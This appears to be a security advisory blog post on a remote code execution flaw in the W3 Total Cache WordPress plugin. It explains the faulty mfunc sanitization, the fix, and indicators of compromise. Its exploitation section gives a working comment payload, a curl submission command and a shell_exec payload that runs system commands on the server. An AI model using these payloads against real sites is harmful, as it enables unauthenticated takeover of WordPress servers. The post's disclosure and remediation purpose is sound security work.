Exploitability of CVE-2026-27384: A Case Study on W3 Total Cache RCE
2026-05-01
Plugin: W3 Total Cache (BoldGrid)
Affected versions: ≤ 2.9.1
Fixed in: 2.9.2 (released March 5, 2026)
CVSS score: 9.0 (Critical)
CWE: CWE-1284 – Improper Validation of Specified Quantity in Input
Background: the mfunc feature
W3 Total Cache is one of the most widely deployed WordPress caching plugins, with millions of active installs. Beyond simple page caching, it exposes a feature called mfunc (short for memory function) that allows PHP code to be embedded directly inside HTML comments. When W3TC serves a cached page, it scans the HTML for mfunc markers and executes the embedded code via eval(), replacing the comment with the output.
The canonical format is:
<!-- mfunc SECURITY_KEY -->
echo some_php_function();
<!-- /mfunc SECURITY_KEY -->
The SECURITY_KEY maps to the value of the W3TC_DYNAMIC_SECURITY PHP constant, which site administrators can optionally define in wp-config.php. The intended use-case is to keep fragments of a cached page dynamic (e.g. display a logged-in user's name) without invalidating the whole cache.
Because this feature calls eval() on arbitrary strings found in the page buffer, it has been a target of research for years. The question has always been: can an unprivileged user inject a mfunc tag into a cached page?
Timeline of the fix attempt in 2.9.1
Before version 2.9.1, W3TC applied no sanitization to user-supplied content before it was cached. Any string that ended up in the page HTML — including comment bodies — could contain mfunc tags that would be executed on every subsequent request.
Version 2.9.1 tried to close this by hooking into preprocess_comment and stripping mfunc tags from comment content before they were saved to the database. The sanitization function strip_dynamic_fragment_tags_from_string() (added @since 2.9.1 in Generic_Plugin.php) is the core of this fix.
It was not enough.
Vulnerability analysis
The sanitization code
// Generic_Plugin.php – strip_dynamic_fragment_tags_from_string()
$pattern = array(
'~<!--\s*mfunc\s+[^\s]+.*?-->(.*?)<!--\s*/mfunc\s+[^\s]+.*?\s*-->~Uis',
'~<!--\s*mclude\s+[^\s]+.*?-->(.*?)<!--\s*/mclude\s+[^\s]+.*?\s*-->~Uis',
);
$value = preg_replace_callback(
$pattern,
function ( $matches ) {
return $matches[1]; // keep only the inner content, drop the tags
},
$value
);
// …
return str_replace( W3TC_DYNAMIC_SECURITY, '', $value );
Two protections are layered here:
- A regex that strips complete
<!--mfunc … -->…<!-- /mfunc … -->blocks, keeping only their inner content. - A
str_replacefallback that removes the security key from whatever survived step 1.
The execution code
// PgCache_ContentGrabber.php – _parse_dynamic()
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mfunc\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
And the callback:
// _parse_dynamic_mfunc()
$code1 = trim( $matches[1] ); // code after the key in the opening tag
$code2 = trim( $matches[2] ); // code between the opening and closing tags
$code = ( $code1 ? $code1 : $code2 );
if ( $code ) {
$code = trim( $code, ';' ) . ';';
ob_start();
$result = eval( $code );
// …
}
Bypass #1 — Whitespace mismatch (\s+ vs \s*)
The sanitization regex requires at least one whitespace character between mfunc and the security key:
\s+ ← one or more required (sanitization)
\s* ← zero or more allowed (execution)
Consequence: a tag written without any space between the keyword and the key — <!--mfuncKEY--> — is invisible to the sanitization regex but fully matched by the execution regex.
Bypass #2 — Case sensitivity (str_replace vs regex i flag)
The str_replace fallback is the second line of defense. It should catch anything the regex missed by removing the raw key string from the content. However:
str_replace()in PHP is case-sensitive by default.- Both the sanitization and execution regexes are compiled with the
iflag (case-insensitive).
If the key is w3tcsecret, writing W3TCSECRET (uppercase) in the payload means:
| Step | Input contains | Outcome |
|---|---|---|
| Regex sanitization | <!--mfuncW3TCSECRET--> |
No match (\s+ fails — no space) |
str_replace('w3tcsecret', …) |
W3TCSECRET |
No match — case differs |
Execution regex ~w3tcsecret~i |
W3TCSECRET |
Match |
Both defenses are bypassed simultaneously.
Requirements for exploitability
The four conditions that must all be true:
-
W3 Total Cache ≤ 2.9.1 is active. The
_parse_dynamic()execution path and the buggy sanitization both live in this version. -
W3TC_DYNAMIC_SECURITYis defined inwp-config.php. This is an opt-in constant. Without it, mfunc processing is disabled entirely at both the sanitization and the execution layers. A site running W3TC without this constant is not vulnerable to this specific code execution path. -
The attacker knows the value of
W3TC_DYNAMIC_SECURITY. The security key must appear in the injected payload — it is the string the execution regex matches against. An attacker who does not know the key cannot craft a working mfunc tag. This requirement is the primary driver of theAC:H(Attack Complexity: High) score in the CVSS vector.
The key is stored only in wp-config.php and never exposed in page HTML under normal usage. Practical paths to obtaining it include:
- A separate file read or disclosure vulnerability (e.g. path traversal, backup file exposure, PHP-FPM misconfiguration)
- An authenticated read of the file via another plugin vulnerability
- A weak or predictable key chosen by the administrator (short strings, dictionary words, site name derivatives)
- An attacker can inject content that reaches a cached page. The most accessible vector is an open comment form: WordPress preserves HTML comments in stored comment content, and W3TC's
preprocess_commenthook is the only thing standing between a submitted comment and the page cache. With both bypasses chained, a visitor who knows the security key and has access to the comment form can inject a persistent payload without any authentication.
If comments are closed or require authentication, other injection paths exist (widgets, post meta, custom fields, content created by lower-privileged roles before the fix) but require higher access.
Exploitation
Setup
For local testing, a Docker lab with WordPress and W3TC 2.9.1 is sufficient:
# docker-compose.yml (simplified)
services:
wordpress:
image: wordpress:latest
ports: ["8000:80"]
environment:
WORDPRESS_CONFIG_EXTRA: |
define('W3TC_DYNAMIC_SECURITY', 'w3tcsecret');
mysql:
image: mysql:5.7
Enable page caching in W3TC settings and make sure at least one post has its comment form open (Settings > Discussion > Allow comments, or set individually per post).
Step 1 — Craft the bypass payload
The payload combines both bypasses: no space, uppercase key.
<!--mfuncW3TCSECRET-->PHPCODE<!--/mfuncW3TCSECRET-->
A few constraints to keep in mind when choosing PHPCODE:
- WordPress renders comment text through its formatting pipeline before caching. Straight quotes (
') are converted to HTML entities (',‘,’), which break string literals when passed toeval(). Usechr()to build strings or rely on PHP functions that need no string arguments. - The code is trimmed of leading/trailing semicolons and one is appended automatically.
Step 2 — Verify the PHP version (no quotes needed)
curl -s -X POST "https://TARGET/wp-comments-post.php" \
--data-urlencode "comment=<!--mfuncW3TCSECRET-->echo phpversion();<!--/mfuncW3TCSECRET-->" \
-d "author=Alice&email=alice@example.com&comment_post_ID=1&comment_parent=0&submit=Post+Comment" \
-H "Referer: https://TARGET/?p=1"
On the next page load, the comment body is replaced by the output of phpversion().
Step 3 — OS command execution
To run shell commands without using string literals, build the command string from character codes:
// chr(105).chr(100) == 'id'
echo shell_exec(chr(105).chr(100));
Full comment payload:
<!--mfuncW3TCSECRET-->echo shell_exec(chr(105).chr(100));<!--/mfuncW3TCSECRET-->
After submission, visiting the post page (which forces a cache miss) returns:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Persistence
This is not a one-shot exploit. The mfunc tag is stored in the WordPress database as the comment content. W3TC caches the rendered page including the tag. Every subsequent request — cached or not — goes through _parse_dynamic(), which calls eval() again. The payload persists until the comment is deleted or W3TC is updated.
The fix in 2.9.2
The patch aligns the execution regex with the sanitization regex: both now use \s+ (one or more whitespace required). A no-space tag like <!--mfuncKEY--> no longer matches the execution pattern, regardless of whether it passed sanitization.
The case sensitivity issue (str_replace vs ~i) is implicitly closed as a side effect: since the execution regex now requires a space and uses \s+, an attacker would need to supply a space, which the sanitization regex would then catch.
Detection and remediation
Remediation: Update W3 Total Cache to 2.9.2 or later.
Temporary workaround: Remove or comment out the W3TC_DYNAMIC_SECURITY line in wp-config.php. This disables the mfunc feature entirely.
Threat Intelligence Insight: For security analysts investigating malicious infrastructure associated with such exploits, leveraging a Reverse IP Lookup API is crucial. Identifying all domains hosted on a suspicious IP address can reveal entire clusters of compromised WordPress sites or command-and-control (C2) domains used by attackers.
Indicators of compromise:
- WordPress comment containing
<!--mfuncanywhere in its body (check viawp comment listor the database). - Unexpected output replacing comment text on cached pages.
- PHP error logs showing
eval()'d codeparse errors (which appear when the injected code uses HTML-encoded quotes).
References
-->